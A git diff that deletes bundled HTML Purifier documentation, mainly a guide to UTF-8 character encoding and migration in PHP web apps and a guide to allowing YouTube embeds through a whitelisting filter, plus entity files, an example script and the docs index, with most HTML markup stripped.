
    META tags are the most common source of embedded -encodings, but they can also come from somewhere else: XML -Declarations. They look like:

    - -
    <?xml version="1.0" encoding="UTF-8"?>
    - -

    ...and are most often found in XML documents (including XHTML).

    - -

    For XHTML, this XML Declaration theoretically -overrides the META tag. In reality, this happens only when the -XHTML is actually served as legit XML and not HTML, which is almost always -never due to Internet Explorer's lack of support for -application/xhtml+xml (even though doing so is often -argued to be good -practice and is required by the XHTML 1.1 specification).

    - -

    For XML, however, this XML Declaration is extremely important. -Since most webservers are not configured to send charsets for .xml files, -this is the only thing a parser has to go on. Furthermore, the default -for XML files is UTF-8, which often butts heads with more common -ISO-8859-1 encoding (you see this in garbled RSS feeds).

    - -

    In short, if you use XHTML and have gone through the -trouble of adding the XML Declaration, make sure it jives -with your META tags (which should only be present -if served in text/html) and HTTP headers.

    - -

    Inside the process

    - -

    This section is not required reading, -but may answer some of your questions on what's going on in all -this character encoding hocus pocus. If you're interested in -moving on to the next phase, skip this section.

    - -

    A logical question that follows all of our wheeling and dealing -with multiple sources of character encodings is "Why are there -so many options?" To answer this question, we have to turn -back our definition of character encodings: they allow a program -to interpret bytes into human-readable characters.

    - -

    Thus, a chicken-egg problem: a character encoding -is necessary to interpret the -text of a document. A META tag is in the text of a document. -The META tag gives the character encoding. How can we -determine the contents of a META tag, inside the text, -if we don't know it's character encoding? And how do we figure out -the character encoding, if we don't know the contents of the -META tag?

    - -

    Fortunately for us, the characters we need to write the -META are in ASCII, which is pretty much universal -over every character encoding that is in common use today. So, -all the web-browser has to do is parse all the way down until -it gets to the Content-Type tag, extract the character encoding -tag, then re-parse the document according to this new information.

    - -

    Obviously this is complicated, so browsers prefer the simpler -and more efficient solution: get the character encoding from a -somewhere other than the document itself, i.e. the HTTP headers, -much to the chagrin of HTML authors who can't set these headers.

    - -

    Why UTF-8?

    - -

    So, you've gone through all the trouble of ensuring that your -server and embedded characters all line up properly and are -present. Good job: at -this point, you could quit and rest easy knowing that your pages -are not vulnerable to character encoding style XSS attacks. -However, just as having a character encoding is better than -having no character encoding at all, having UTF-8 as your -character encoding is better than having some other random -character encoding, and the next step is to convert to UTF-8. -But why?

    - -

    Internationalization

    - -

    Many software projects, at one point or another, suddenly realize -that they should be supporting more than one language. Even regular -usage in one language sometimes requires the occasional special character -that, without surprise, is not available in your character set. Sometimes -developers get around this by adding support for multiple encodings: when -using Chinese, use Big5, when using Japanese, use Shift-JIS, when -using Greek, etc. Other times, they use character references with great -zeal.

    - -

    UTF-8, however, obviates the need for any of these complicated -measures. After getting the system to use UTF-8 and adjusting for -sources that are outside the hand of the browser (more on this later), -UTF-8 just works. You can use it for any language, even many languages -at once, you don't have to worry about managing multiple encodings, -you don't have to use those user-unfriendly entities.

    - -

    User-friendly

    - -

    Websites encoded in Latin-1 (ISO-8859-1) which occasionally need -a special character outside of their scope often will use a character -entity reference to achieve the desired effect. For instance, θ can be -written &theta;, regardless of the character encoding's -support of Greek letters.

    - -

    This works nicely for limited use of special characters, but -say you wanted this sentence of Chinese text: 激光, -這兩個字是甚麼意思. -The ampersand encoded version would look like this:

    - -
    &#28608;&#20809;, &#36889;&#20841;&#20491;&#23383;&#26159;&#29978;&#40636;&#24847;&#24605;
    - -

    Extremely inconvenient for those of us who actually know what -character entities are, totally unintelligible to poor users who don't! -Even the slightly more user-friendly, "intelligible" character -entities like &theta; will leave users who are -uninterested in learning HTML scratching their heads. On the other -hand, if they see θ in an edit box, they'll know that it's a -special character, and treat it accordingly, even if they don't know -how to write that character themselves.

    - -

    Wikipedia is a great case study for -an application that originally used ISO-8859-1 but switched to UTF-8 -when it became far to cumbersome to support foreign languages. Bots -will now actually go through articles and convert character entities -to their corresponding real characters for the sake of user-friendliness -and searchability. See -Meta's -page on special characters for more details. -

    - -

    Forms

    - -

    While we're on the tack of users, how do non-UTF-8 web forms deal -with characters that are outside of their character set? Rather than -discuss what UTF-8 does right, we're going to show what could go wrong -if you didn't use UTF-8 and people tried to use characters outside -of your character encoding.

    - -

    The troubles are large, extensive, and extremely difficult to fix (or, -at least, difficult enough that if you had the time and resources to invest -in doing the fix, you would be probably better off migrating to UTF-8). -There are two types of form submission: application/x-www-form-urlencoded -which is used for GET and by default for POST, and multipart/form-data -which may be used by POST, and is required when you want to upload -files.

    - -

    The following is a summarization of notes from - -FORM submission and i18n. That document contains lots -of useful information, but is written in a rambly manner, so -here I try to get right to the point. (Note: the original has -disappeared off the web, so I am linking to the Web Archive copy.)

    - -

    application/x-www-form-urlencoded

    - -

    This is the Content-Type that GET requests must use, and POST requests -use by default. It involves the ubiquitous percent encoding format that -looks something like: %C3%86. There is no official way of -determining the character encoding of such a request, since the percent -encoding operates on a byte level, so it is usually assumed that it -is the same as the encoding the page containing the form was submitted -in. (RFC 3986 -recommends that textual identifiers be translated to UTF-8; however, browser -compliance is spotty.) You'll run into very few problems -if you only use characters in the character encoding you chose.

    - -

    However, once you start adding characters outside of your encoding -(and this is a lot more common than you may think: take curly -"smart" quotes from Microsoft as an example), -a whole manner of strange things start to happen. Depending on the -browser you're using, they might:

    - -
      -
    • Replace the unsupported characters with useless question marks,
    • -
    • Attempt to fix the characters (example: smart quotes to regular quotes),
    • -
    • Replace the character with a character entity reference, or
    • -
    • Send it anyway as a different character encoding mixed in - with the original encoding (usually Windows-1252 rather than - iso-8859-1 or UTF-8 interspersed in 8-bit)
    • -
    - -

    To properly guard against these behaviors, you'd have to sniff out -the browser agent, compile a database of different behaviors, and -take appropriate conversion action against the string (disregarding -a spate of extremely mysterious, random and devastating bugs Internet -Explorer manifests every once in a while). Or you could -use UTF-8 and rest easy knowing that none of this could possibly happen -since UTF-8 supports every character.

    - -

    multipart/form-data

    - -

    Multipart form submission takes away a lot of the ambiguity -that percent-encoding had: the server now can explicitly ask for -certain encodings, and the client can explicitly tell the server -during the form submission what encoding the fields are in.

    - -

    There are two ways you go with this functionality: leave it -unset and have the browser send in the same encoding as the page, -or set it to UTF-8 and then do another conversion server-side. -Each method has deficiencies, especially the former.

    - -

    If you tell the browser to send the form in the same encoding as -the page, you still have the trouble of what to do with characters -that are outside of the character encoding's range. The behavior, once -again, varies: Firefox 2.0 converts them to character entity references -while Internet Explorer 7.0 mangles them beyond intelligibility. For -serious internationalization purposes, this is not an option.

    - -

    The other possibility is to set Accept-Encoding to UTF-8, which -begs the question: Why aren't you using UTF-8 for everything then? -This route is more palatable, but there's a notable caveat: your data -will come in as UTF-8, so you will have to explicitly convert it into -your favored local character encoding.

    - -

    I object to this approach on idealogical grounds: you're -digging yourself deeper into -the hole when you could have been converting to UTF-8 -instead. And, of course, you can't use this method for GET requests.

    - -

    Well supported

    - -

    Almost every modern browser in the wild today has full UTF-8 and Unicode -support: the number of troublesome cases can be counted with the -fingers of one hand, and these browsers usually have trouble with -other character encodings too. Problems users usually encounter stem -from the lack of appropriate fonts to display the characters (once -again, this applies to all character encodings and HTML entities) or -Internet Explorer's lack of intelligent font picking (which can be -worked around).

    - -

    We will go into more detail about how to deal with edge cases in -the browser world in the Migration section, but rest assured that -converting to UTF-8, if done correctly, will not result in users -hounding you about broken pages.

    - -

    HTML Purifier

    - -

    And finally, we get to HTML Purifier. HTML Purifier is built to -deal with UTF-8: any indications otherwise are the result of an -encoder that converts text from your preferred encoding to UTF-8, and -back again. HTML Purifier never touches anything else, and leaves -it up to the module iconv to do the dirty work.

    - -

    This approach, however, is not perfect. iconv is blithely unaware -of HTML character entities. HTML Purifier, in order to -protect against sophisticated escaping schemes, normalizes all character -and numeric entity references before processing the text. This leads to -one important ramification:

    - -

    Any character that is not supported by the target character -set, regardless of whether or not it is in the form of a character -entity reference or a raw character, will be silently ignored.

    - -

    Example of this principle at work: say you have &theta; -in your HTML, but the output is in Latin-1 (which, understandably, -does not understand Greek), the following process will occur (assuming you've -set the encoding correctly using %Core.Encoding):

    - -
      -
    • The Encoder will transform the text from ISO 8859-1 to UTF-8 - (note that theta is preserved here since it doesn't actually use - any non-ASCII characters): &theta;
    • -
    • The EntityParser will transform all named and numeric - character entities to their corresponding raw UTF-8 equivalents: - θ
    • -
    • HTML Purifier processes the code: θ
    • -
    • The Encoder now transforms the text back from UTF-8 - to ISO 8859-1. Since Greek is not supported by ISO 8859-1, it - will be either ignored or replaced with a question mark: - ?
    • -
    - -

    This behaviour is quite unsatisfactory. It is a deal-breaker for -international applications, and it can be mildly annoying for the provincial -soul who occasionally needs a special character. Since 1.4.0, HTML -Purifier has provided a slightly more palatable workaround using -%Core.EscapeNonASCIICharacters. The process now looks like:

    - -
      -
    • The Encoder transforms encoding to UTF-8: &theta;
    • -
    • The EntityParser transforms entities: θ
    • -
    • HTML Purifier processes the code: θ
    • -
    • The Encoder replaces all non-ASCII characters - with numeric entity reference: &#952;
    • -
    • For good measure, Encoder transforms encoding back to - original (which is strictly unnecessary for 99% of encodings - out there): &#952; (remember, it's all ASCII!)
    • -
    - -

    ...which means that this is only good for an occasional foray into -the land of Unicode characters, and is totally unacceptable for Chinese -or Japanese texts. The even bigger kicker is that, supposing the -input encoding was actually ISO-8859-7, which does support -theta, the character would get converted into a character entity reference -anyway! (The Encoder does not discriminate).

    - -

    The current functionality is about where HTML Purifier will be for -the rest of eternity. HTML Purifier could attempt to preserve the original -form of the character references so that they could be substituted back in, only the -DOM extension kills them off irreversibly. HTML Purifier could also attempt -to be smart and only convert non-ASCII characters that weren't supported -by the target encoding, but that would require reimplementing iconv -with HTML awareness, something I will not do.

    - -

    So there: either it's UTF-8 or crippled international support. Your pick! (and I'm -not being sarcastic here: some people could care less about other languages).

    - -

    Migrate to UTF-8

    - -

    So, you've decided to bite the bullet, and want to migrate to UTF-8. -Note that this is not for the faint-hearted, and you should expect -the process to take longer than you think it will take.

    - -

    The general idea is that you convert all existing text to UTF-8, -and then you set all the headers and META tags we discussed earlier -to UTF-8. There are many ways going about doing this: you could -write a conversion script that runs through the database and re-encodes -everything as UTF-8 or you could do the conversion on the fly when someone -reads the page. The details depend on your system, but I will cover -some of the more subtle points of migration that may trip you up.

    - -

    Configuring your database

    - -

    Most modern databases, the most prominent open-source ones being MySQL -4.1+ and PostgreSQL, support character encodings. If you're switching -to UTF-8, logically speaking, you'd want to make sure your database -knows about the change too. There are some caveats though:

    - -

    Legit method

    - -

    Standardization in terms of SQL syntax for specifying character -encodings is notoriously spotty. Refer to your respective database's -documentation on how to do this properly.

    - -

    For MySQL, ALTER will magically perform the -character encoding conversion for you. However, you have -to make sure that the text inside the column is what is says it is: -if you had put Shift-JIS in an ISO 8859-1 column, MySQL will irreversibly mangle -the text when you try to convert it to UTF-8. You'll have to convert -it to a binary field, convert it to a Shift-JIS field (the real encoding), -and then finally to UTF-8. Many a website had pages irreversibly mangled -because they didn't realize that they'd been deluding themselves about -the character encoding all along; don't become the next victim.

    - -

    For PostgreSQL, there appears to be no direct way to change the -encoding of a database (as of 8.2). You will have to dump the data, and then reimport -it into a new table. Make sure that your client encoding is set properly: -this is how PostgreSQL knows to perform an encoding conversion.

    - -

    Many times, you will be also asked about the "collation" of -the new column. Collation is how a DBMS sorts text, like ordering -B, C and A into A, B and C (the problem gets surprisingly complicated -when you get to languages like Thai and Japanese). If in doubt, -going with the default setting is usually a safe bet.

    - -

    Once the conversion is all said and done, you still have to remember -to set the client encoding (your encoding) properly on each database -connection using SET NAMES (which is standard SQL and is -usually supported).

    - -

    Binary

    - -

    Due to the aforementioned compatibility issues, a more interoperable -way of storing UTF-8 text is to stuff it in a binary datatype. -CHAR becomes BINARY, VARCHAR becomes -VARBINARY and TEXT becomes BLOB. -Doing so can save you some huge headaches:

    - -
      -
    • The syntax for binary data types is very portable,
    • -
    • MySQL 4.0 has no support for character encodings, so - if you want to support it you have to use binary,
    • -
    • MySQL, as of 5.1, has no support for four byte UTF-8 characters, - which represent characters beyond the basic multilingual - plane, and
    • -
    • You will never have to worry about your DBMS being too smart - and attempting to convert your text when you don't want it to.
    • -
    - -

    MediaWiki, a very prominent international application, uses binary fields -for storing their data because of point three.

    - -

    There are drawbacks, of course:

    - -
      -
    • Database tools like PHPMyAdmin won't be able to offer you inline - text editing, since it is declared as binary,
    • -
    • It's not semantically correct: it's really text not binary - (lying to the database),
    • -
    • Unless you use the not-very-portable wizardry mentioned above, - you have to change the encoding yourself (usually, you'd do - it on the fly), and
    • -
    • You will not have collation.
    • -
    - -

    Choose based on your circumstances.

    - -

    Text editor

    - -

    For more flat-file oriented systems, you will often be tasked with -converting reams of existing text and HTML files into UTF-8, as well as -making sure that all new files uploaded are properly encoded. Once again, -I can only point vaguely in the right direction for converting your -existing files: make sure you backup, make sure you use -iconv(), and -make sure you know what the original character encoding of the files -is (or are, depending on the tidiness of your system).

    - -

    However, I can proffer more specific advice on the subject of -text editors. Many text editors have notoriously spotty Unicode support. -To find out how your editor is doing, you can check out this list -or Wikipedia's list. -I personally use Notepad++, which works like a charm when it comes to UTF-8. -Usually, you will have to explicitly tell the editor through some dialogue -(usually Save as or Format) what encoding you want it to use. An editor -will often offer "Unicode" as a method of saving, which is -ambiguous. Make sure you know whether or not they really mean UTF-8 -or UTF-16 (which is another flavor of Unicode).

    - -

    The two things to look out for are whether or not the editor -supports font mixing (multiple -fonts in one document) and whether or not it adds a BOM. -Font mixing is important because fonts rarely have support for every -language known to mankind: in order to be flexible, an editor must -be able to take a little from here and a little from there, otherwise -all your Chinese characters will come as nice boxes. We'll discuss -BOM below.

    - -

    Byte Order Mark (headers already sent!)

    - -

    The BOM, or Byte -Order Mark, is a magical, invisible character placed at -the beginning of UTF-8 files to tell people what the encoding is and -what the endianness of the text is. It is also unnecessary.

    - -

    Because it's invisible, it often -catches people by surprise when it starts doing things it shouldn't -be doing. For example, this PHP file:

    - -
    BOM<?php
    -header('Location: index.php');
    -?>
    - -

    ...will fail with the all too familiar Headers already sent -PHP error. And because the BOM is invisible, this culprit will go unnoticed. -My suggestion is to only use ASCII in PHP pages, but if you must, make -sure the page is saved WITHOUT the BOM.

    - -
    -

    The headers the error is referring to are HTTP headers, - which are sent to the browser before any HTML to tell it various - information. The moment any regular text (and yes, a BOM counts as - ordinary text) is output, the headers must be sent, and you are - not allowed to send anymore. Thus, the error.

    -
    - -

    If you are reading in text files to insert into the middle of another -page, it is strongly advised (but not strictly necessary) that you replace out the UTF-8 byte -sequence for BOM "\xEF\xBB\xBF" before inserting it in, -via:

    - -
    $text = str_replace("\xEF\xBB\xBF", '', $text);
    - -

    Fonts

    - -

    Generally speaking, people who are having trouble with fonts fall -into two categories:

    - -
      -
    • Those who want to -use an extremely obscure language for which there is very little -support even among native speakers of the language, and
    • -
    • Those where the primary language of the text is -well-supported but there are occasional characters -that aren't supported.
    • -
    - -

    Yes, there's always a chance where an English user happens across -a Sinhalese website and doesn't have the right font. But an English user -who happens not to have the right fonts probably has no business reading Sinhalese -anyway. So we'll deal with the other two edge cases.

    - -

    Obscure scripts

    - -

    If you run a Bengali website, you may get comments from users who -would like to read your website but get heaps of question marks or -other meaningless characters. Fixing this problem requires the -installation of a font or language pack which is often highly -dependent on what the language is. Here is an example -of such a help file for the Bengali language; I am sure there are -others out there too. You just have to point users to the appropriate -help file.

    - -

    Occasional use

    - -

    A prime example of when you'll see some very obscure Unicode -characters embedded in what otherwise would be very bland ASCII are -letters of the -International -Phonetic Alphabet (IPA), use to designate pronunciations in a very standard -manner (you probably see them all the time in your dictionary). Your -average font probably won't have support for all of the IPA characters -like ʘ (bilabial click) or ʒ (voiced postalveolar fricative). -So what's a poor browser to do? Font mix! Smart browsers like Mozilla Firefox -and Internet Explorer 7 will borrow glyphs from other fonts in order -to make sure that all the characters display properly.

    - -

    But what happens when the browser isn't smart and happens to be the -most widely used browser in the entire world? Microsoft IE 6 -is not smart enough to borrow from other fonts when a character isn't -present, so more often than not you'll be slapped with a nice big �. -To get things to work, MSIE 6 needs a little nudge. You could configure it -to use a different font to render the text, but you can achieve the same -effect by selectively changing the font for blocks of special characters -to known good Unicode fonts.

    - -

    Fortunately, the folks over at Wikipedia have already done all the -heavy lifting for you. Get the CSS from the horses mouth here: -Common.css, -and search for ".IPA" There are also a smattering of -other classes you can use for other purposes, check out -this page -for more details. For you lazy ones, this should work:

    - -
    .Unicode {
    -        font-family: Code2000, "TITUS Cyberbit Basic", "Doulos SIL",
    -            "Chrysanthi Unicode", "Bitstream Cyberbit",
    -            "Bitstream CyberBase", Thryomanes, Gentium, GentiumAlt,
    -            "Lucida Grande", "Arial Unicode MS", "Microsoft Sans Serif",
    -            "Lucida Sans Unicode";
    -        font-family /**/:inherit; /* resets fonts for everyone but IE6 */
    -}
    - -

    The standard usage goes along the lines of <span class="Unicode">Crazy -Unicode stuff here</span>. Characters in the -Windows Glyph List -usually don't need to be fixed, but for anything else you probably -want to play it safe. Unless, of course, you don't care about IE6 -users.

    - -

    Dealing with variable width in functions

    - -

    When people claim that PHP6 will solve all our Unicode problems, they're -misinformed. It will not fix any of the aforementioned troubles. It will, -however, fix the problem we are about to discuss: processing UTF-8 text -in PHP.

    - -

    PHP (as of PHP5) is blithely unaware of the existence of UTF-8 (with a few -notable exceptions). Sometimes, this will cause problems, other times, -this won't. So far, we've avoided discussing the architecture of -UTF-8, so, we must first ask, what is UTF-8? Yes, it supports Unicode, -and yes, it is variable width. Other traits:

    - -
      -
    • Every character's byte sequence is unique and will never be found - inside the byte sequence of another character,
    • -
    • UTF-8 may use up to four bytes to encode a character,
    • -
    • UTF-8 text must be checked for well-formedness,
    • -
    • Pure ASCII is also valid UTF-8, and
    • -
    • Binary sorting will sort UTF-8 in the same order as Unicode.
    • -
    - -

    Each of these traits affect different domains of text processing -in different ways. It is beyond the scope of this document to explain -what precisely these implications are. PHPWact provides -a very good reference document -on what to expect from each function, although coverage is spotty in -some areas. Their more general notes on -character sets -are also worth looking at for information on UTF-8. Some rules of thumb -when dealing with Unicode text:

    - -
      -
    • Do not EVER use functions that:
        -
      • ...convert case (strtolower, strtoupper, ucfirst, ucwords)
      • -
      • ...claim to be case-insensitive (str_ireplace, stristr, strcasecmp)
      • -
    • -
    • Think twice before using functions that:
        -
      • ...count characters (strlen will return bytes, not characters; - str_split and word_wrap may corrupt)
      • -
      • ...convert characters to entity references (UTF-8 doesn't need entities)
      • -
      • ...do very complex string processing (*printf)
      • -
    • -
    - -

    Note: this list applies to UTF-8 encoded text only: if you have -a string that you are 100% sure is ASCII, be my guest and use -strtolower (HTML Purifier uses this function.)

    - -

    Regardless, always think in bytes, not characters. If you use strpos() -to find the position of a character, it will be in bytes, but this -usually won't matter since substr() also operates with byte indices!

    - -

    You'll also need to make sure your UTF-8 is well-formed and will -probably need replacements for some of these functions. I recommend -using Harry Fuecks' PHP -UTF-8 library, rather than use mb_string directly. HTML Purifier -also defines a few useful UTF-8 compatible functions: check out -Encoder.php in the /library/HTMLPurifier/ -directory.

    - - - -

    Well, that's it. Hopefully this document has served as a very -practical springboard into knowledge of how UTF-8 works. You may have -decided that you don't want to migrate yet: that's fine, just know -what will happen to your output and what bug reports you may receive.

    - -

    Many other developers have already discussed the subject of Unicode, -UTF-8 and internationalization, and I would like to defer to them for -a more in-depth look into character sets and encodings.

    - - - - - - - diff --git a/classes/security/htmlpurifier/docs/enduser-youtube.html b/classes/security/htmlpurifier/docs/enduser-youtube.html deleted file mode 100644 index 87a36b9aa..000000000 --- a/classes/security/htmlpurifier/docs/enduser-youtube.html +++ /dev/null @@ -1,153 +0,0 @@ - - - - - - - -Embedding YouTube Videos - HTML Purifier - - - -

    Embedding YouTube Videos

    -
    ...as well as other dangerous active content
    - -
    Filed under End-User
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    Clients like their YouTube videos. It gives them a warm fuzzy feeling when -they see a neat little embedded video player on their websites that can play -the latest clips from their documentary "Fido and the Bones of Spring". -All joking aside, the ability to embed YouTube videos or other active -content in their pages is something that a lot of people like.

    - -

    This is a bad idea. The moment you embed anything untrusted, -you will definitely be slammed by a manner of nasties that can be -embedded in things from your run of the mill Flash movie to -Quicktime movies. -Even img tags, which HTML Purifier allows by default, can be -dangerous. Be distrustful of anything that tells a browser to load content -from another website automatically.

    - -

    Luckily for us, however, whitelisting saves the day. Sure, letting users -include any old random flash file could be dangerous, but if it's -from a specific website, it probably is okay. If no amount of pleading will -convince the people upstairs that they should just settle with just linking -to their movies, you may find this technique very useful.

    - -

    Looking in

    - -

    Below is custom code that allows users to embed -YouTube videos. This is not favoritism: this trick can easily be adapted for -other forms of embeddable content.

    - -

    Usually, websites like YouTube give us boilerplate code that you can insert -into your documents. YouTube's code goes like this:

    - -
    -<object width="425" height="350">
    -  <param name="movie" value="http://www.youtube.com/v/AyPzM5WK8ys" />
    -  <param name="wmode" value="transparent" />
    -  <embed src="http://www.youtube.com/v/AyPzM5WK8ys"
    -         type="application/x-shockwave-flash"
    -         wmode="transparent" width="425" height="350" />
    -</object>
    -
    - -

    There are two things to note about this code:

    - -
      -
    1. <embed> is not recognized by W3C, so if you want - standards-compliant code, you'll have to get rid of it.
    2. -
    3. The code is exactly the same for all instances, except for the - identifier AyPzM5WK8ys which tells us which movie file - to retrieve.
    4. -
    - -

    What point 2 means is that if we have code like <span -class="youtube-embed">AyPzM5WK8ys</span> your -application can reconstruct the full object from this small snippet that -passes through HTML Purifier unharmed. -Show me the code!

    - -

    And the corresponding usage:

    - -
    <?php
    -    $config->set('Filter.YouTube', true);
    -?>
    - -

    There is a bit going in the two code snippets, so let's explain.

    - -
      -
    1. This is a Filter object, which intercepts the HTML that is - coming into and out of the purifier. You can add as many - filter objects as you like. preFilter() - processes the code before it gets purified, and postFilter() - processes the code afterwards. So, we'll use preFilter() to - replace the object tag with a span, and postFilter() - to restore it.
    2. -
    3. The first preg_replace call replaces any YouTube code users may have - embedded into the benign span tag. Span is used because it is inline, - and objects are inline too. We are very careful to be extremely - restrictive on what goes inside the span tag, as if an errant code - gets in there it could get messy.
    4. -
    5. The HTML is then purified as usual.
    6. -
    7. Then, another preg_replace replaces the span tag with a fully fledged - object. Note that the embed is removed, and, in its place, a data - attribute was added to the object. This makes the tag standards - compliant! It also breaks Internet Explorer, so we add in a bit of - conditional comments with the old embed code to make it work again. - It's all quite convoluted but works.
    8. -
    - -

    Warning

    - -

    There are a number of possible problems with the code above, depending -on how you look at it.

    - -

    Cannot change width and height

    - -

    The width and height of the final YouTube movie cannot be adjusted. This -is because I am lazy. If you really insist on letting users change the size -of the movie, what you need to do is package up the attributes inside the -span tag (along with the movie ID). It gets complicated though: a malicious -user can specify an outrageously large height and width and attempt to crash -the user's operating system/browser. You need to either cap it by limiting -the amount of digits allowed in the regex or using a callback to check the -number.

    - -

    Trusts media's host's security

    - -

    By allowing this code onto our website, we are trusting that YouTube has -tech-savvy enough people not to allow their users to inject malicious -code into the Flash files. An exploit on YouTube means an exploit on your -site. Even though YouTube is run by the reputable Google, it -doesn't -mean they are -invulnerable. -You're putting a certain measure of the job on an external provider (just as -you have by entrusting your user input to HTML Purifier), and -it is important that you are cognizant of the risk.

    - -

    Poorly written adaptations compromise security

    - -

    This should go without saying, but if you're going to adapt this code -for Google Video or the like, make sure you do it right. It's -extremely easy to allow a character too many in postFilter() and -suddenly you're introducing XSS into HTML Purifier's XSS free output. HTML -Purifier may be well written, but it cannot guard against vulnerabilities -introduced after it has finished.

    - -

    Help out!

    - -

    If you write a filter for your favorite video destination (or anything -like that, for that matter), send it over and it might get included -with the core!

    - - - - - diff --git a/classes/security/htmlpurifier/docs/entities/xhtml-lat1.ent b/classes/security/htmlpurifier/docs/entities/xhtml-lat1.ent deleted file mode 100644 index ffee223eb..000000000 --- a/classes/security/htmlpurifier/docs/entities/xhtml-lat1.ent +++ /dev/null @@ -1,196 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/classes/security/htmlpurifier/docs/entities/xhtml-special.ent b/classes/security/htmlpurifier/docs/entities/xhtml-special.ent deleted file mode 100644 index ca358b2fe..000000000 --- a/classes/security/htmlpurifier/docs/entities/xhtml-special.ent +++ /dev/null @@ -1,80 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/classes/security/htmlpurifier/docs/entities/xhtml-symbol.ent b/classes/security/htmlpurifier/docs/entities/xhtml-symbol.ent deleted file mode 100644 index 63c2abfa6..000000000 --- a/classes/security/htmlpurifier/docs/entities/xhtml-symbol.ent +++ /dev/null @@ -1,237 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/classes/security/htmlpurifier/docs/examples/basic.php b/classes/security/htmlpurifier/docs/examples/basic.php deleted file mode 100644 index b51096d2d..000000000 --- a/classes/security/htmlpurifier/docs/examples/basic.php +++ /dev/null @@ -1,23 +0,0 @@ -set('Core.Encoding', 'UTF-8'); // replace with your encoding -$config->set('HTML.Doctype', 'XHTML 1.0 Transitional'); // replace with your doctype - -$purifier = new HTMLPurifier($config); - -// untrusted input HTML -$html = 'Simple and short'; - -$pure_html = $purifier->purify($html); - -echo '
    ' . htmlspecialchars($pure_html) . '
    '; - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/docs/fixquotes.htc b/classes/security/htmlpurifier/docs/fixquotes.htc deleted file mode 100644 index 80dda2dc2..000000000 --- a/classes/security/htmlpurifier/docs/fixquotes.htc +++ /dev/null @@ -1,9 +0,0 @@ - - - - diff --git a/classes/security/htmlpurifier/docs/index.html b/classes/security/htmlpurifier/docs/index.html deleted file mode 100644 index 3c4ecc716..000000000 --- a/classes/security/htmlpurifier/docs/index.html +++ /dev/null @@ -1,188 +0,0 @@ - - - - - - - -Documentation - HTML Purifier - - - - -

    Documentation

    - -

    HTML Purifier has documentation for all types of people. -Here is an index of all of them.

    - -

    End-user

    -

    End-user documentation that contains articles, tutorials and useful -information for casual developers using HTML Purifier.

    - -
    - -
    IDs
    -
    Explains various methods for allowing IDs in documents safely.
    - -
    Embedding YouTube videos
    -
    Explains how to safely allow the embedding of flash from trusted sites.
    - -
    Speeding up HTML Purifier
    -
    Explains how to speed up HTML Purifier through caching or inbound filtering.
    - -
    UTF-8: The Secret of Character Encoding
    -
    Describes the rationale for using UTF-8, the ramifications otherwise, and how to make the switch.
    - -
    Tidy
    -
    Tutorial for tweaking HTML Purifier's Tidy-like behavior.
    - -
    Customize
    -
    Tutorial for customizing HTML Purifier's tag and attribute sets.
    - -
    URI Filters
    -
    Tutorial for creating custom URI filters.
    - -
    - -

    Development

    -

    Developer documentation detailing code issues, roadmaps and project -conventions.

    - -
    - -
    Implementation Progress
    -
    Tables detailing HTML element and CSS property implementation coverage.
    - -
    Naming Conventions
    -
    Defines class naming conventions.
    - -
    Optimization
    -
    Discusses possible methods of optimizing HTML Purifier.
    - -
    Flushing the Purifier
    -
    Discusses when to flush HTML Purifier's various caches.
    - -
    Advanced API
    -
    Specification for HTML Purifier's advanced API for defining -custom filtering behavior.
    - -
    Config Schema
    -
    Describes config schema framework in HTML Purifier.
    - -
    - -

    Proposals

    -

    Proposed features, as well as the associated rambling to get a clear -objective in place before attempted implementation.

    - -
    -
    Colors
    -
    Proposal to allow for color constraints.
    -
    - -

    Reference

    -

    Miscellaneous essays, research pieces and other reference type material -that may not directly discuss HTML Purifier.

    - -
    -
    DevNetwork Credits
    -
    Credits and links to DevNetwork forum topics.
    -
    - -

    Internal memos

    - -

    Plaintext documents that are more for use by active developers of -the code. They may be upgraded to HTML files or stay as TXT scratchpads.

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    TypeNameDescription
    End-userOverviewHigh level overview of the general control flow (mostly obsolete).
    End-userSecurityCommon security issues that may still arise (half-baked).
    DevelopmentConfig BC BreaksBackwards-incompatible changes in HTML Purifier 4.0.0
    DevelopmentCode Quality IssuesEnumerates code quality issues and places that need to be refactored.
    ProposalFilter levelsOutlines details of projected configurable level of filtering.
    ProposalLanguageSpecification of I18N for error messages derived from MediaWiki (half-baked).
    ProposalNew directivesAssorted configuration options that could be implemented.
    ProposalCSS extractionTaking the inline CSS out of documents and into style.
    ReferenceHandling Content Model ChangesDiscusses how to tidy up content model changes using custom ChildDef classes.
    ReferenceProprietary tagsList of vendor-specific tags we may want to transform to W3C compliant markup.
    ReferenceModularization of HTMLDefinitionProvides a high-level overview of the concepts behind HTMLModules.
    ReferenceWHATWGHow WHATWG plays into what we need to do.
    - - - - - diff --git a/classes/security/htmlpurifier/docs/proposal-colors.html b/classes/security/htmlpurifier/docs/proposal-colors.html deleted file mode 100644 index 657633882..000000000 --- a/classes/security/htmlpurifier/docs/proposal-colors.html +++ /dev/null @@ -1,49 +0,0 @@ - - - - - - - -Proposal: Colors - HTML Purifier - - - -

    Colors

    -
    Hammering some sense into those color-blind newbies
    - -
    Filed under Proposals
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    Your website probably has a color-scheme. -Green on white, -purple on yellow, -whatever. When you give users the ability to style their content, you may -want them to keep in line with your styling. If you're website is all -about light colors, you don't want a user to come in and vandalize your -page with a deep maroon.

    - -

    This is an extremely silly feature proposal, but I'm writing it down anyway.

    - -

    What if the user could constrain the colors specified in inline styles? You -are only allowed to use these shades of dark green for text and these shades -of light yellow for the background. At the very least, you could ensure -that we did not have pale yellow on white text.

    - -

    Implementation issues

    - -
      -
